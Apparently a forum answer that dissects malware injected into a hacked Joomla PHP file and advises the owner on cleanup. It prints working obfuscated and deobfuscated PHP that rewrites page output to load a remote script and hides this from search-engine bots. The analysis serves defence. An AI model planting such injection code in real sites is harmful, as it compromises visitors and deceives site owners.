gzdecode($R5A9CF1B497502ACA23C8F611A564684C){$R30B2AB8DC1496D06B230A71D8962AF5D=#ord(#substr($R5A9CF1B497502ACA23C8F611A564684C,3,1));$RBE4C4D037E939226F65812885A53DAD9=10;$RA3D52E52A48936CDE0F5356BB08652F2=0;if($R30B2AB8DC1496D06B230A71D8962AF5D&4){$R63BEDE6B19266D4EFEAD07A4D91E29EB=#unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2));$R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1];$RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB;}if($R30B2AB8DC1496D06B230A71D8962AF5D&8){$RBE4C4D037E939226F65812885A53DAD9=#strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;}if($R30B2AB8DC1496D06B230A71D8962AF5D&16){$RBE4C4D037E939226F65812885A53DAD9=#strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;}if($R30B2AB8DC1496D06B230A71D8962AF5D&2){$RBE4C4D037E939226F65812885A53DAD9+=2;}$R034AE2AB94F99CC81B389A1822DA3353=#gzinflate(#substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9));if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){$R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;}return $R034AE2AB94F99CC81B389A1822DA3353;}}function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){Header('Content-Encoding: none');$RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE);}else{return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();}}ob_start('mrobh');}}
All the whitespace is stripped from it and the variables have names like $RA179ABD3A7B9E28C369F7B59C51B81DE. After cleaning this up a bit, the code looks as follows:
<?php
if (function_exists('ob_start') && !isset($GLOBALS['mr_no'])) {
$GLOBALS['mr_no'] = 1;
if (!function_exists('mrobh')) {
if (!function_exists('gml')) {
function gml()
{
if (!stristr($_SERVER["HTTP_USER_AGENT"], "googlebot") && (!stristr($_SERVER["HTTP_USER_AGENT"], "yahoo"))) {
return base64_decode("PHNjcmlwdCBzcmM9Imh0dHA6Ly9hY3Jvc3N1bml2ZXJzZWl0YmVvcmcuY29tL21tLnBocCI+PC9zY3JpcHQ+");
}
return "";
}
}
if (!function_exists('gzdecode')) {
function gzdecode($encoded)
{
$bitmask = #ord(#substr($encoded, 3, 1));
$ten = 10;
$zero = 0;
if ($bitmask & 4) {
$temp = #unpack('v', substr($encoded, 10, 2));
$temp = $temp[1];
$ten += 2 + $temp;
}
if ($bitmask & 8) {
$ten = #strpos($encoded, chr(0) , $ten) + 1;
}
if ($bitmask & 16) {
$ten = #strpos($encoded, chr(0) , $ten) + 1;
}
if ($bitmask & 2) {
$ten+= 2;
}
$inflated = #gzinflate(#substr($encoded, $ten));
if ($inflated === FALSE) {
$inflated = $encoded;
}
return $inflated;
}
}
function mrobh($input)
{
Header('Content-Encoding: none');
$decoded = gzdecode($input);
if (preg_match('/\<\/body/si', $decoded)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml() . "\n" . '$1', $decoded);
}
else {
return $decoded . gml();
}
}
ob_start('mrobh');
}
}
A lot of this code consists of guards: a global is set so that the code is executed only once, even if the statement would occur multiple times, and it makes sure that all the functions are defined once and exactly once.
The crux is in the final line: it uses the ob_start function to make sure that the mrobh function is executed
when the output buffer is flushed (sent) or cleaned (with ob_flush(), ob_clean() or similar function) or when the output buffer is flushed to the browser at the end of the request.
This means that instead of outputting the result of the original script directly, all the generated output is buffered and passed to mrobh at the end.
Note how the original script ends with doGzip();, so all the HTML that the mrobh function receives is gzipped. Hence, the first thing it needs to do is decode it, which is where the gzdecode function comes in. After that $decode has the plain HTML output of the default Joomla script, which probably has a <html> tag with a <head> and a <body>. In that case, there should also be a </body> tag. In the final if statement, that closing tag is replaced by the output of the gml() function. That function again decodes a base 64 string, which turns out to be
<script src="http://***URL censored***"></script>
so instead of
regular output...
</body>
</html>
the end of the output now looks like
regular output...
<script src="http://***URL censored***"></script>
</body>
</html>
so that the script at that URL will be loaded as the browser parses the returned HTML.
Note that the gml function has an additional guard to make sure that whenever Google or Yahoo bots visit the page, the redirect does not take place - these search engines would detect that something malicious is going on and warn the user (if the user uses Chrome, even before actually visiting the page). The else clause in mrobh is just another safeguard in case the HTML does not contain a </body> tag - in that case the script tag is just appended at the end of whatever output there is, assuming that the browser will render it as HTML.
So what you end up with is your regular page, with an additional script tag. (Un)fortunately the domain it tries to load the JavaScript from does not seem to exist any longer, so we cannot see what the script did, but since you said users were redirected away from your site, it's safe to assume that it contained some tracking code followed by a
window.location.href = "http://mymaliciouspage";
TL;DR The first line contains the malicious code that cleverly manipulates your page's output to redirect the user (but not any search engine bots).
Solution: Just replace the whole first line with the original <?php (which you still see at the end of the bad code) and you will fix this problem (look into your server security and update Joomla to avoid getting hit again though).
You got hacked. You cannot trust any code on your server anymore. Nuke it. Redeploy your current version. Work on a hotfix to fix the security flaw, e.g. upgrade Joomla to its newest version, and do another deploy.
Just editing your hacked codebase is asking for trouble. Don't do that.
The security issue is still there and you don't know what else got put in place on your server.

Categories